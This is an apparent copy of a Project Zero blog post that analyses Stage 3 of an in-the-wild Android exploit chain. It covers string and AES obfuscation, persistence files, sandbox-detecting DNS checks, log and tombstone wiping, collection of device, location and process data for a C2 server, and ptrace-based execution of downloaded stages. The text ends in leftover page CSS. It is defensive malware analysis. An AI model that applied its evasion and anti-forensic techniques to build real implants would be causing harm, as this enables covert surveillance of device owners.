In the newly spawned thread, first, it cleans up from the previous stage by deleting most of the environment variables that stage 2 set. Then it will kill any processes that include the word “knox” in the cmdline. Knox is a security platform that is built into Samsung devices

Next, the code will check how often this binary has been running by reading a file that it drops on the device called state.parcel. The execution proceeds normally as long as it hasn’t been run more than 6 times on the current day. In other cases, execution changes as described in the state.parcel file section. 

The binary will then iterate through the process’s open file descriptors 0-2 (usually stdin, stdout, and stderr) and points them to /dev/null. This will prevent output messages from appearing which may lead a user or others to detect the presence of the exploit chain. The code will then iterate through any other open file descriptors (/proc/self/fd/) for the process and close any that include “pipe:” or “anon_inode:” in their symlinks.  It will also close any file descriptors with a number greater than 32 that include “socket:” in the link and any that don’t include /data/dalvik-cache/arm or /dev/ in the name. This may be to prevent debugging or to reduce accidental damage to the rest of the system.

The thread will then call into the function that includes significant functionality for the main behavior of the binary. It decrypts data, sets up configuration data, performs anti-analysis and debugging checks, and finally contacts the C2 server to download the next stage and executes it. This can be considered the main control loop for Stage 3.

The rest of this post explains the technical details of the Stage 3 binary’s behavior, categorized.


Stage 3 uses quite a few different layers of obfuscation to hide the behavior of the code. It uses a similar string obfuscation technique to stage 2. Another way that the binary obfuscates its behavior is that it uses a hash table to store dynamic configuration settings/status. Instead of using a descriptive string for the “key”, it uses a series of 16 AES-decrypted bytes as the “keys” that are passed to the hashing function.The binary encrypts its static configuration settings, communications with the C2, and a hash table that stores dynamic configuration setting with AES. The state.parcel file that is saved on the device is XOR encoded. The binary also includes multiple techniques to make it harder to understand the behavior of the device using dynamic analysis techniques. For example, it monitors what is mapped into the process’s memory, what file descriptors it has opened, and sends very detailed information to the C2 server.

Similar to the previous stages, Stage 3 seems to be well engineered with a variety of different techniques to make it more difficult for an analyst to determine its behavior, either statically or dynamically. The rest of this section will detail some of the different techniques.

String Obfuscation

The vast majority of the strings within the binary are obfuscated. The obfuscation method is very similar to that used in previous stages. The obfuscated string is passed to a deobfuscation function prior to use. The obfuscated strings are designated by 0x7E7E7E (“~~~”) at the end of the string. To deobfuscate these strings, we used an IDAPython script using flare_emu that emulated the behavior of the deobfuscation function on each string.

Configuration Settings Decryption

A data block within the binary, containing important configuration settings, is encrypted using AES256. It is decrypted upon entrance to the main control function. The decrypted contents are written back to the same location in memory where the encrypted contents were. The code uses OpenSSL to perform the AES256 decryption. The key and the IV are hardcoded into the binary.

Whenever this blog post refers to the “decrypted data block”, we mean this block of memory. The decrypted data includes things such as the C2 server url, the user-agent to use when contacting the C2 server, version information and more. Prior to returning from the main control function, the code will overwrite the decrypted data block to all zeros. This makes it more difficult for an analyst to dump the decrypted memory.

Once the decryption is completed, the code double checks that decryption was successful by looking at certain bytes and verifying their values. If any of these checks fail, the binary will not proceed with contacting the C2 server and downloading stage 4.

Hashtable Encryption

Another block of data that is 0x140 bytes long is then decrypted in the same way. This decrypted data doesn’t include any human-readable strings, but is instead used as “keys” for a hash table that stores configuration settings and status information. We’ll call this area the “decrypted keys block”. The information that is stored in the hash table can change whereas the configuration settings in the decrypted data block above are expected to stay the same throughout execution. The decrypted keys block, which serves as the hash table keys, is shown below.

00000000: 9669 d307 1994 4529 7b07 183e 1e0c 6225  .i....E){..>..b%

00000010: 335f 0f6e 3e41 1eca 1537 3552 188f 932d  3_.n>A...75R...-

00000020: 4bf4 79a4 c5fd 0408 49f4 b412 3fa3 ad23  K.y.....I...?..#

00000030: 837b 5af1 2862 15d9 be29 fd62 605c 6aca  .{Z.(b...).b`\j.

00000040: ad5a dd9c 4548 ca3a 7683 5753 7fb9 970a  .Z..EH.:v.WS....

00000050: fe71 a43d 78b1 72f5 c8d4 b8a4 0c9e 925c  .q.=x.r........\

00000060: d068 f985 2446 136c 5cb0 d155 ad8d 448e  .h..$F.l\..U..D.

00000070: 9307 54ba fc2d 8b72 ba4d 63b8 3109 67c9  ..T..-.r.Mc.1.g.

00000080: e001 77e2 99e8 add2 2f45 1504 557f 9177  ..w...../E..U..w

00000090: 9950 9f98 91e6 551b 6557 9c62 fea8 afef  .P....U.eW.b....

000000a0: 18b8 8043 9071 0f10 38aa e881 9e84 e541  ...C.q..8......A

000000b0: 3fa0 4697 187f fb47 bbe4 6a76 fa4b 5875  ?.F....G..jv.KXu

000000c0: 04d1 2861 6318 69bd 7459 b48c b541 3323  ..(ac.i.tY...A3#

000000d0: 16cd c514 5c7f db99 96d9 5982 f6f1 88ee  ....\.....Y.....

000000e0: f830 fb10 8192 2fea a308 9998 2e0c b798  .0..../.........

000000f0: 367f 7dde 0c95 8c38 8cf3 4dcd acc4 3cd3  6.}....8..M...<.

00000100: 4473 9877 10c8 68e0 1673 b0ad d9cd 085d  Ds.w..h..s.....]

00000110: ab1c ad6f 049d d2d4 65d0 1905 c640 9f61  ...o....e....@.a

00000120: 1357 eb9a 3238 74bf ea2d 97e4 a747 d7b6  .W..28t..-...G..

00000130: fd6d 8493 2429 899d c05d 5b94 0096 4593  .m..$)...][...E.

The binary uses this hash table to keep track of important values such as for status and configuration. The code initializes a CRC table which is used in the hashing algorithm and then the hash table is initialized. The structure that manages the hashtable shown below:

struct hashtable_mgr {

    int * hashtable_ptr;

    int maxEntries;

    int numEntries;


The first member of this struct points to the hash table which is allocated on the heap and has size 0x1400 bytes when it’s first initialized. The hash table uses sets of 0x10 bytes from the decrypted keys block as the key that gets passed to the hashing function.

There are two main functions that are used to interact with this hashtable throughout the binary: we’ll call them getValueFromHashtable and putValueInHashtable. Both functions take four arguments: pointer to the hashtable manager, pointer to the key (usually represented as an offset from the beginning of the decrypted keys block), a pointer for the value, and an int for the value length. Through the rest of this post, I will refer to values that are stored in the hash table. Because the key is a series of 0x10 bytes, I will refer to values as “the value for offset 0x20 in the hash table”. This means the value that is stored in the hashtable for the “key” that is 0x10 bytes and begins at the address of the start of the decrypted keys block + 0x20.

Each entry in the hashtable has the following structure.

struct hashtable_entry {

    BYTE * key_ptr;

    uint key_len;

    uint in_use;

    BYTE * value_ptr;

    uint value_len;


I have documented the majority of the entries in the hashtable here. I use the key’s offset from the beginning of the decrypted keys block as the “key” instead of typing out the series of 0x10 bytes. As shown in the linked sheet, the hashtable contains the dynamic variables that stage 3 needs to keep track of. For example, the filename where to save stage 4 and the install and failure counts.

The hashtable is periodically written to a file named uierrors.txt as described in the Persistence section. This is to save state in case the process exits.


The whole exploit chain diligently cleans up after itself to leave as few indicators as possible of its presence. However, stage 3 does save a couple of files and adds environment variables in order to function. This is in addition to the stage 4 code which will be discussed in the “Executing the Next Stage” section. Each of the files and variables described in this section will be deleted as soon as they’re no longer needed, but they will be on a device for at least a period of time. For each of the files that are saved to the device, the directory path is often randomly selected from a set of potential paths. This makes it more time consuming for an analyst to detect the presence of the file on a device because the analyst would have to check 5 different paths for each file rather than 1.

state.parcel File

During startup, the code will record the current time in a file named state.parcel. After it records the current time at the beginning of the file, it will then check how many times per day this has been done by reading all of the times currently in the file. If there are less than 6 entries for the current day, the code proceeds. If there are 6 entries in the file from the current day and there are at least 5 entries for each of the previous 3 days, the binary will set a variable that will tell the code to clean up and exit. If there are 6 entries for the current day and there’s at least one entry for each of the past 3 days, the binary will clean up the persistent files for both this and other stages and then do a max sleep: sleep(0xFFFFFFFF), which is the equivalent of sleeping for over 136 years.

If the effective UID is 0 (root), then the code will randomly choose one of the following paths to write the file to:

  • /data/backup/
  • /data/data/
  • /data/
  • /data/local/
  • /data/local/tmp/

If the effective UID is not 0, then the state.parcel file will be written to whatever directory the binary is executing out of according to /proc/self/exe. The contents in state.parcel are obfuscated by XOR’ing each entry with 0xFF12EE34.

uierrors.txt - Hash table contents

Stage 3 periodically writes the hash table that contains configuration and static information to a file named uierrors.txt. The code uses the same process as for state.parcel to decide which directory to write the file too.

Whenever the hashtable is written to uierrors.txt it is encrypted using AES256. The key is the same AES key used to decrypt the configuration settings data block, but it generates a set of 0x10 random bytes to use as the IV. The IV is written to the uierrors.txt file first and then is followed by the encrypted hash table contents. The CRC32 of the encrypted contents of the file is written to the file as the last 4 bytes.

Environment Variables

On start-up, stage 3 will remove the majority of the environment variables set by the previous stage. It then sets its own new environment variables.

Environment Variable Name



Address of the decryption data block


Address of the function that will send logging messages to the C2 server


Address of the function that adds logging messages to the error and/or informational logging message queues


Points the the decrypted block of hashtable keys


Address of the function that performs inflate (decompress)


Address of the function that performs deflate (compress)

0x10 bytes at 0x228CC


0x10 bytes at 0x228DC

Pointer to the string representation of the hex_d_uuid

0x10 bytes at 0x228F0

Pointer to the C2 domain URL

0x10 bytes at 0x22904

Pointer to the port string for the C2 server

0x10 bytes at 0x22918

Pointer to the beginning of the certificate

0x10 bytes at 0x2292C


0x10 bytes at 0x22940

Pointer to +4AA in decrypted data block

0x10 bytes at 0x22954


0x10 bytes at 0x22698

Pointer to the user-agent string


Selinux status such as “selinux-init-read-fail” or “selinux-no-mdm”


Set if there is no “” string in /init


Set if the “” string is in /init

Error Handling & Logging

The binary has a very detailed and mature logging mechanism. It tracks both “error” and “informational” logging messages. These messages are saved until they’re sent to the C2 server either when stage 3 is automatically reaching out to the C2 server, or “on-demand” by calling the subroutine that is saved as environment variable “def”. The subroutine saved as environment variable “def2”, adds messages to the error and/or informational message queues. There are hundreds of different logging messages throughout the binary. I have documented the meaning of some of the different logging codes here.


This code is very diligent with trying to clean up its tracks, both while it's running and once it finishes. While it’s running, the binary forks a new process which runs code that is responsible for cleaning up logs while the other code is executing. This other process does the following to clean up stage 3’s tracks:

  • Connect to the socket /dev/socket/logd and clear all logs
  • Execute klogctl(5,0,0) which is SYSLOG_ACTION_CLEAR and clears the ring buffer
  • Unlink all of the files in the following directories:
  • /data/tombstones
  • /data/misc/audit
  • /data/system/dropbox
  • /data/anr
  • /data/log
  • Unlinks the file /cache/recovery/last_avc_msg_recovery

There are also a couple of different functions that clean up all potential dropped files from both this stage and other stages and remove the set environment variables.

Communications with C2 Server

The whole point of this binary is to download the next stage from the command and control (C2) server. Once the previous unpacking steps and checks are completed, the binary will begin preparing the network communications. First the binary will perform a DNS test, then gather device information, and send the POST request to the C2 server. If all these steps are successful, it will receive back the next stage and prepare to execute that.

DNS Test

Prior to reaching out to the C2 server, the binary performs a DNS test. It takes a pointer to the decrypted data block as its argument. First the function generates a random hostname that is between 8-16 lowercase latin characters. It then calls getaddrinfo on this random hostname. It’s trying to find a host that will cause getaddrinfo to return EAI_NODATA, meaning that no address information could be found for that host. It will attempt 3 different addresses before it will bail if none of them return EAI_NODATA. Some disconnected analysis sandboxes will respond to all hostnames and so the code is trying to detect this type of malware analysis environment.

Once it finds a hostname that returns EAI_NODATA, stage 3 does a DNS query with that hostname. The DNS server address is found in the decrypted block in argument 1 at offset 0x14C7. In this binary that is, the Google DNS server. The code will connect to the DNS server via a socket and then send a Type A query for the randomly generated host name and parse the response. The only acceptable response from the server is NXDomain, meaning “Non-Existent Domain”.  If the code receives back NXDomain from the DNS server, it will proceed with the code path that communicates with the C2 Server.

Handshake with the C2 Server

The C2 server hostname and port is read from the decrypted data block. The port number is at offset 0x84 and the hostname is at offset 0x4.

The binary first connects via a socket to the C2 server, then connects with SSL/TLS. The SSL/TLS certificate, a root certificate, is also in the decrypted data block at offset 0x4C7. The binary uses the OpenSSL library.

Collecting the Data to Send

Once it successfully connects to the C2 server via SSL/TLS, the binary will then begin collecting all the device information that it would like to send to the C2 server. The code collects A LOT of data to be sent to the C2 server.  Six different sets of information are collected, formatted, compressed, and encrypted prior to sending to the remote server. The different “sets” of data that are collected are:

  • Device characteristics
  • Application information
  • Phone location information
  • Implant status
  • Running processes
  • Logging  (error & informational) messages

Device Characteristics

For this set, the binary is collecting device characteristics such as the Android version, the serial number, model, battery temperature, st_mode of /dev/mem and /dev/kmem, the contents of /proc/net/arp and /proc/net/route, and more. The full list of device characteristics that are collected and sent to the server are documented here.

The binary uses a few different methods for collecting this data. The most common is to read system properties. They have 2 different ways to read system properties:

  • Call __system_property_get by doing dlopen(/system/lib/ and dlsym('__system_property_get').
  • Executing getprop in popen

To get the device ID, subscriber ID, and MSISDN, the binary uses the service call shell command. To call a function from a service using this API, you need to know the code for the function. Basically, the code is the number that the function is listed in the AIDL file. This means it can change with each new Android release. The developers of this binary hardcoded the service code for each android SDK version from 8 (Froyo) through 29 (Android 10). For example, the getSubscriberId code in the iphonesubinfo service is 3 for Android SDK version 8-20, the code is 5 for SDK version 21, and the code is 7 for SDK versions 22-29.

The code also collects detailed networking information. For example, it collects the MAC address and IP address for each interface listed under the /sys/class/net/ directory.

Application Information

To collect information about the applications installed on the device, the binary will send all of the contents of /data/system/packages.xml to the C2 server. This XML file includes data about both the user-installed and the system-installed packages on the device.

Phone Location Information

To gather information about the physical location of the device, the binary runs dumpsys location in a shell. It sends the full output of this data back to the C2 server. The output of the dumpsys location command includes data such as the last known GPS locations.

Implant Status

The binary collects information about the status of the exploits and subsequent stages (including this one) to send back to the C2 server. Most of these values are obtained from the hash storage table. There are 22 value pairs that are sent back to the server. These values include things such as the installation time and the “repair count”, the build id, and the major and minor version numbers for the binary. The full set of data that is sent to the C2 server is available here.

Running Processes

The binary sends information about every single running process back to the C2 server. It will iterate through each directory under /proc/ and send back the following information for each process:

  • Name
  • Process ID (PID)
  • Parent’s PID
  • Groups that the process belongs to
  • Uid
  • Gid

Logging Information

As described in the Error Processing section, whenever the binary encounters an error, it creates an error message. The binary will send a maximum of 0x1F of these error messages back to the C2 server. It will also send a maximum of 0x1F “informational” messages back to the server. “Info” messages are similar to the error messages except that they are documenting a condition that is less severe than an error. These are distinctions that the developers included in their coding.

Constructing the Request

Once all of the “sets” of information are collected, they are compressed using the deflate function. The compressed “messages” each have the following compressedMessage structure. The messageCode is a type of identification code for the information that is contained in the message. It’s calculated by calculating the crc32 value for the 0x10 bytes at offset 0x1CD8 in the decrypted data block and then adding the “identification code”.

struct compressedMessage {

    uint compressedDataLength;

    uint uncompressedDataLength;

    uint messageCode;

    BYTE * dataPointer;

    BYTE[4096] data;


Once each of the messages, or sets of data, have been individually compressed into the compressedMessage struct, the byte order is swapped to change the endianness and then the data is all encrypted using AES256. The key from the decrypted data block is used and the IV is a set of 0x10 random bytes. The IV is prepended to the beginning of the encrypted message.

The data is sent to the server as a POST request. The full header is shown below.

POST /api2/v9/pass HTTP/1.1

 User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-G600FY Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.0 Chrome/38.0.2125.102 Mobile Safari/537.3

Host: REDACTED:443

Connection: keep-alive



Cookie: %s

The “Cookie” field is two values from the decrypted data block: sid and uid. The values for these two keys are base64 encoded values from the decrypted data block.

The body of the POST request is all of the data collected and compressed in the section above. This request is then sent to the C2 server via the SSL/TLS connection.

Parsing the Response

The response received back from the server is parsed. If the HTTP Response Code is not 200, it’s considered an error. The received data is first decrypted using AES256. The key used is the key that is included in the decrypted data block at offset 0x48A and the IV is sent back as the first 0x10 bytes of the response. After being decrypted, the byte order is swapped using bswap32 and the data is then decompressed using inflate. This inflated response body is an executable file or a series of commands.

C2 Server Cookies

The binary will also store and delete cookies for the C2 server domain and the exploit server domain. First, the binary will delete the cookie for the hostname of the exploit server that is the following name/value pair: session=<XXX>. This name/value is hardcoded into the decrypted data block within the binary. Then it will re-add that same cookie, but with an updated last accessed time and expire time.

Executing the Next Stage

As stated previously, stage 3’s role in the exploit chain is to check that the binary is not being analyzed and if not, collect detailed device data and send it to the C2 server to receive back the next stage of code and commands that should be executed. The detailed information that is sent back to the C2 server is likely used for high-fidelity targeting.

The developers of stage 3 purposefully built in a variety of different ways that the next stage of code can be executed: a series of commands passed to system or a shared library ELF file which can be executed by calling dlopen and dlsym, and more. This section will detail the different ways that the C2 server can instruct stage 3 to save and begin executing the next stage of code.

If the POST request to the C2 server is successful, the code will receive back either an executable file or a set of commands which it’ll “process”.  The response is parsed differently based on the “message code” in the header of the response. This “message code” is similar to what was described in the “Constructing the Request” section. It’s an identification code + the CRC32 of the 0x10 bytes at 0x25E30. When processing the response, the binary calculates the CRC32 of these bytes again and subtracts them from the message code. This value is then used to determine how to treat the contents of the response. The majority of the message codes distinguish different ways for the response to be saved to the device and then be executed.

There are a few functions that are commonly used by multiple message codes, so they are described here first.

func1 - Writes the response contents to files in both the /data/dalvik-cache/arm and /mnt directories.

This function does the following:

  1. Writes the buffer of the response to /data/dalvik-cache/arm/<file name keyed by 0x10 in hashtable>
  2. Gets a filename from mkstemp(“/mnt/XXXXXX”)
  3. Write the buffer of the response to a file with the name from step #2 + “abc” concatenated to the end: /mnt/XXXXXXabc
  4. Write a specific value from memory to the file with the name from step #2 with “xyz” concatenated to the end: /mnt/XXXXXXxyz. This specific value can be changed through the 2nd function that is exported by the stage 3 binary: d.

func2 - Fork child process and inject code using ptrace.

This function forks a new process where the child will call the function init from an ELF library, then the parent will inject the code from the response into the child process using ptrace. The ELF library that is opened with dlopen and then init is called on is named /system/bin/%016lx%016lx with both values being the address of the buffer pointer.

func3 - Writes the buffer of the reply contents to file and sets the permissions and SELinux attributes.

This function will write the buffer to either the provided file path in the third argument or it will generate a new file path.  If it’s generating a new temporary file name, the code will go down the following list of directory names beginning with /cache in the first directory that it can stat, it will create the temporary file using mkstemp(“%s/XXXXXX”).

  • /cache
  • /mnt/secure/asec
  • /mnt/secure/staging
  • /mnt/secure
  • /mnt/obb
  • /mnt/asec
  • /mnt
  • /storage

After the new file is created, the code sets the permissions on the file path to those supplied to the function as the fourth argument. Then it will set the SELinux attributes of the file to those passed in in the fifth argument.

The following section gives a simplified summary of how the response from the C2 server is handled based on the response’s message code:

  • 0x270F: Return 0.
  • 0x2710: The response is a shared library ELF (ET_DYN). Call func2 to fork a child process and inject the ELF using ptrace.
  • 0x2711: The response is a shared library ELF (ET_DYN). Save the file to a temp file on the device and then call dlopen and dlsym(“init”) on the ELF. A child process is then forked. The child process calls init.
  • 0x2712: The response is an ELF file. The file is written to a temporary file on the device. A child process is forked and that child process executes by calling execve on the file.
  • 0x2713: The response is an ELF file.  The file is written to a temporary file on the device using func3. A child process is forked and that child process executes it by calling system on the file.
  • 0x2714: It forks a child process and that child process calls system(<response contents>).
  • 0x2715: The response is executable code and is mmap’ed. Certain series of bytes are replaced by the address of dlopen, dlsym, and a function in the binary. Then the code is executed.
  • 0x4E20: If (D1_ENV == 0 && the code can NOT fstat /data/dalvik-cache/arm/system@framework@boot.oat), go into an infinite sleep. Else, set a variable to 1.
  • 0x4E21: The response/buffer is an ELF with type ET_DYN (.so file). If D1_ENV environment variable is set, call func2, which spawns the child process and injects the buffer’s code into it using ptrace. If D1_ENV is not set, write the buffer to the dalvik-cache and /mnt directories through func1.
  • 0x4E22: This message increments the “uninstall_time” variable in the hashtable. For the value that is at key 0xA0 in the hashtable, it will increment it by the unsigned long value represented by the first 4 bytes in the response buffer.
  • 0x4E23: This message sets the “uninstall_time” variable in the hashtable. It will set the value at key 0xA0 in the hashtable to the unsigned long value represented by the first 4 bytes in the response buffer.
  • 0x4E25: Set the value at the key 0x100 in the hashtable to the unsigned long value represented by the first 4 bytes in the response buffer.
  • 0x4E26: If the third argument (filepath) to the function that is processing these responses is not NULL and it doesn’t previously exist, make the directory and then set the file permissions and SELinux attributes on the directory to the values passed in as the 4th and 5th arguments.
  • 0x4E27: Write the response buffer to a temporary file using func3.
  • 0x4E28: Call rmdir on a filepath.
  • 0x4E29: Call rmdir on a filepath, if it doesn’t exist delete uierrors.txt.
  • 0x4E2A: Copy an additional decrypted block to the end of the data that is the value for key 0xE0 in the hash table.
  • 0x4E2B: If (D1_ENV == 0 && we can fstat /data/dalvik-cache/arm/system@framework@boot.oat), set certain variables to 1.
  • 0x4E2C: If the buffer is a 64-bit ELF and D1_ENV == 0, call func1 to write the buffer to the dalvik-cache and /mnt directories.


That concludes our analysis of Stage 3 in the Android exploit chain. We hypothesize that each Stage 2 (and thus Stage 3) includes different configuration variables that would allow the attackers to identify which delivered exploit chain is calling back to the C2 server. In addition, due to the detailed information sent to the C2 prior to stage 4 being returned to the device it seems unlikely that we would successfully determine the correct values to have a “legitimate” stage 4 returned to us.

It’s especially fascinating how complex and well-engineered this stage 3 code is when you consider that the attackers used all publicly known n-days in stage 2. The attackers used a Google Chrome 0-day in stage 1, public exploit for Android n-days in stage 2, and a mature, complex, and thoroughly designed and engineered stage 3. This leads us to believe that the actor likely has more device-specific 0-day exploits.

This is part 5 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To continue reading, see In The Wild Part 6: Windows Exploits.

Kategorie: Hacking & Security

In-the-Wild Series: Android Exploits

12 Leden, 2021 - 18:37
ul.lst-kix_lw3zh1qbhlji-0{list-style-type:none}ul.lst-kix_lw3zh1qbhlji-1{list-style-type:none}.lst-kix_f28qers2ka94-4>li{counter-increment:lst-ctn-kix_f28qers2ka94-4}ul.lst-kix_lw3zh1qbhlji-6{list-style-type:none}.lst-kix_o1lgec7ujykk-8>li:before{content:"- "}ul.lst-kix_lw3zh1qbhlji-7{list-style-type:none}ul.lst-kix_lw3zh1qbhlji-8{list-style-type:none}ul.lst-kix_lw3zh1qbhlji-2{list-style-type:none}ul.lst-kix_lw3zh1qbhlji-3{list-style-type:none}ul.lst-kix_lw3zh1qbhlji-4{list-style-type:none}ul.lst-kix_lw3zh1qbhlji-5{list-style-type:none}ol.lst-kix_f28qers2ka94-5.start{counter-reset:lst-ctn-kix_f28qers2ka94-5 0}.lst-kix_f28qers2ka94-2>li{counter-increment:lst-ctn-kix_f28qers2ka94-2}.lst-kix_thuqgp6gfs8h-2>li{counter-increment:lst-ctn-kix_thuqgp6gfs8h-2}.lst-kix_olvs1jbt89fl-4>li:before{content:"- "}.lst-kix_olvs1jbt89fl-5>li:before{content:"- "}.lst-kix_olvs1jbt89fl-7>li:before{content:"- "}.lst-kix_thuqgp6gfs8h-4>li{counter-increment:lst-ctn-kix_thuqgp6gfs8h-4}.lst-kix_olvs1jbt89fl-6>li:before{content:"- "}ol.lst-kix_thuqgp6gfs8h-4.start{counter-reset:lst-ctn-kix_thuqgp6gfs8h-4 0}.lst-kix_olvs1jbt89fl-8>li:before{content:"- "}ul.lst-kix_5kmetj22qqvk-7{list-style-type:none}ul.lst-kix_5kmetj22qqvk-6{list-style-type:none}ul.lst-kix_5kmetj22qqvk-5{list-style-type:none}ul.lst-kix_5kmetj22qqvk-4{list-style-type:none}ul.lst-kix_5kmetj22qqvk-3{list-style-type:none}.lst-kix_thuqgp6gfs8h-6>li{counter-increment:lst-ctn-kix_thuqgp6gfs8h-6}ul.lst-kix_5kmetj22qqvk-2{list-style-type:none}ul.lst-kix_5kmetj22qqvk-1{list-style-type:none}ul.lst-kix_5kmetj22qqvk-0{list-style-type:none}ol.lst-kix_f28qers2ka94-6.start{counter-reset:lst-ctn-kix_f28qers2ka94-6 0}ol.lst-kix_thuqgp6gfs8h-3.start{counter-reset:lst-ctn-kix_thuqgp6gfs8h-3 0}.lst-kix_5kmetj22qqvk-8>li:before{content:"- "}.lst-kix_olvs1jbt89fl-3>li:before{content:"- "}.lst-kix_olvs1jbt89fl-2>li:before{content:"- "}.lst-kix_5kmetj22qqvk-0>li:before{content:"- "}.lst-kix_olvs1jbt89fl-1>li:before{content:"- "}.lst-kix_f28qers2ka94-8>li{counter-increment:lst-ctn-kix_f28qers2ka94-8}.lst-kix_5kmetj22qqvk-2>li:before{content:"- "}.lst-kix_5kmetj22qqvk-1>li:before{content:"- "}.lst-kix_olvs1jbt89fl-0>li:before{content:"- "}.lst-kix_o1lgec7ujykk-7>li:before{content:"- "}.lst-kix_o1lgec7ujykk-6>li:before{content:"- "}.lst-kix_5kmetj22qqvk-7>li:before{content:"- "}.lst-kix_o1lgec7ujykk-4>li:before{content:"- "}.lst-kix_o1lgec7ujykk-3>li:before{content:"- "}.lst-kix_o1lgec7ujykk-5>li:before{content:"- "}.lst-kix_5kmetj22qqvk-6>li:before{content:"- "}ol.lst-kix_f28qers2ka94-0.start{counter-reset:lst-ctn-kix_f28qers2ka94-0 0}.lst-kix_5kmetj22qqvk-5>li:before{content:"- "}.lst-kix_o1lgec7ujykk-0>li:before{content:"- "}.lst-kix_o1lgec7ujykk-1>li:before{content:"- "}.lst-kix_5kmetj22qqvk-4>li:before{content:"- "}.lst-kix_o1lgec7ujykk-2>li:before{content:"- "}.lst-kix_thuqgp6gfs8h-0>li{counter-increment:lst-ctn-kix_thuqgp6gfs8h-0}.lst-kix_5kmetj22qqvk-3>li:before{content:"- "}ul.lst-kix_5kmetj22qqvk-8{list-style-type:none}.lst-kix_c52otkrerajb-7>li:before{content:"- "}ol.lst-kix_f28qers2ka94-4.start{counter-reset:lst-ctn-kix_f28qers2ka94-4 0}.lst-kix_c52otkrerajb-5>li:before{content:"- "}.lst-kix_tjxel15w0vnb-0>li:before{content:"\0025cf "}.lst-kix_b2z7bfhnik92-1>li:before{content:"- "}ol.lst-kix_thuqgp6gfs8h-5.start{counter-reset:lst-ctn-kix_thuqgp6gfs8h-5 0}.lst-kix_f28qers2ka94-1>li:before{content:"" counter(lst-ctn-kix_f28qers2ka94-1,lower-latin) ". "}ol.lst-kix_f28qers2ka94-1.start{counter-reset:lst-ctn-kix_f28qers2ka94-1 0}ul.lst-kix_t4et3tnq1pzp-3{list-style-type:none}ul.lst-kix_t4et3tnq1pzp-4{list-style-type:none}.lst-kix_b2z7bfhnik92-5>li:before{content:"- "}ul.lst-kix_t4et3tnq1pzp-1{list-style-type:none}ul.lst-kix_t4et3tnq1pzp-2{list-style-type:none}ul.lst-kix_t4et3tnq1pzp-7{list-style-type:none}ul.lst-kix_t4et3tnq1pzp-8{list-style-type:none}.lst-kix_c52otkrerajb-1>li:before{content:"- "}.lst-kix_b2z7bfhnik92-3>li:before{content:"- "}.lst-kix_b2z7bfhnik92-7>li:before{content:"- "}ul.lst-kix_t4et3tnq1pzp-5{list-style-type:none}ul.lst-kix_t4et3tnq1pzp-6{list-style-type:none}.lst-kix_lw3zh1qbhlji-0>li:before{content:"\0025cf "}ol.lst-kix_thuqgp6gfs8h-8.start{counter-reset:lst-ctn-kix_thuqgp6gfs8h-8 0}.lst-kix_c52otkrerajb-3>li:before{content:"- "}ul.lst-kix_t4et3tnq1pzp-0{list-style-type:none}ul.lst-kix_tjxel15w0vnb-1{list-style-type:none}ul.lst-kix_tjxel15w0vnb-2{list-style-type:none}ul.lst-kix_tjxel15w0vnb-3{list-style-type:none}ul.lst-kix_tjxel15w0vnb-4{list-style-type:none}ul.lst-kix_tjxel15w0vnb-0{list-style-type:none}ul.lst-kix_tjxel15w0vnb-5{list-style-type:none}ul.lst-kix_tjxel15w0vnb-6{list-style-type:none}ul.lst-kix_tjxel15w0vnb-7{list-style-type:none}ul.lst-kix_tjxel15w0vnb-8{list-style-type:none}ol.lst-kix_thuqgp6gfs8h-7.start{counter-reset:lst-ctn-kix_thuqgp6gfs8h-7 0}ul.lst-kix_b2z7bfhnik92-7{list-style-type:none}ul.lst-kix_b2z7bfhnik92-8{list-style-type:none}ul.lst-kix_b2z7bfhnik92-5{list-style-type:none}ul.lst-kix_b2z7bfhnik92-6{list-style-type:none}ul.lst-kix_b2z7bfhnik92-3{list-style-type:none}ul.lst-kix_b2z7bfhnik92-4{list-style-type:none}ul.lst-kix_b2z7bfhnik92-1{list-style-type:none}ul.lst-kix_b2z7bfhnik92-2{list-style-type:none}ul.lst-kix_b2z7bfhnik92-0{list-style-type:none}ol.lst-kix_thuqgp6gfs8h-8{list-style-type:none}ul.lst-kix_c52otkrerajb-0{list-style-type:none}ul.lst-kix_o1lgec7ujykk-5{list-style-type:none}ul.lst-kix_o1lgec7ujykk-6{list-style-type:none}ul.lst-kix_o1lgec7ujykk-7{list-style-type:none}ul.lst-kix_o1lgec7ujykk-8{list-style-type:none}ul.lst-kix_o1lgec7ujykk-1{list-style-type:none}ol.lst-kix_f28qers2ka94-2.start{counter-reset:lst-ctn-kix_f28qers2ka94-2 0}ul.lst-kix_o1lgec7ujykk-2{list-style-type:none}ul.lst-kix_o1lgec7ujykk-3{list-style-type:none}ul.lst-kix_o1lgec7ujykk-4{list-style-type:none}ol.lst-kix_thuqgp6gfs8h-0{list-style-type:none}ol.lst-kix_thuqgp6gfs8h-1{list-style-type:none}.lst-kix_thuqgp6gfs8h-5>li{counter-increment:lst-ctn-kix_thuqgp6gfs8h-5}ol.lst-kix_thuqgp6gfs8h-2{list-style-type:none}ol.lst-kix_thuqgp6gfs8h-3{list-style-type:none}.lst-kix_7gtwvv8lds0h-2>li:before{content:"- "}ul.lst-kix_o1lgec7ujykk-0{list-style-type:none}ol.lst-kix_thuqgp6gfs8h-4{list-style-type:none}ol.lst-kix_thuqgp6gfs8h-5{list-style-type:none}ol.lst-kix_thuqgp6gfs8h-6{list-style-type:none}ol.lst-kix_thuqgp6gfs8h-7{list-style-type:none}ol.lst-kix_thuqgp6gfs8h-6.start{counter-reset:lst-ctn-kix_thuqgp6gfs8h-6 0}.lst-kix_7gtwvv8lds0h-4>li:before{content:"- "}.lst-kix_7gtwvv8lds0h-6>li:before{content:"- "}.lst-kix_f28qers2ka94-7>li:before{content:"" counter(lst-ctn-kix_f28qers2ka94-7,lower-latin) ". "}ul.lst-kix_c52otkrerajb-8{list-style-type:none}.lst-kix_tjxel15w0vnb-8>li:before{content:"\0025a0 "}ul.lst-kix_c52otkrerajb-7{list-style-type:none}ul.lst-kix_c52otkrerajb-6{list-style-type:none}ul.lst-kix_c52otkrerajb-5{list-style-type:none}.lst-kix_7gtwvv8lds0h-8>li:before{content:"- 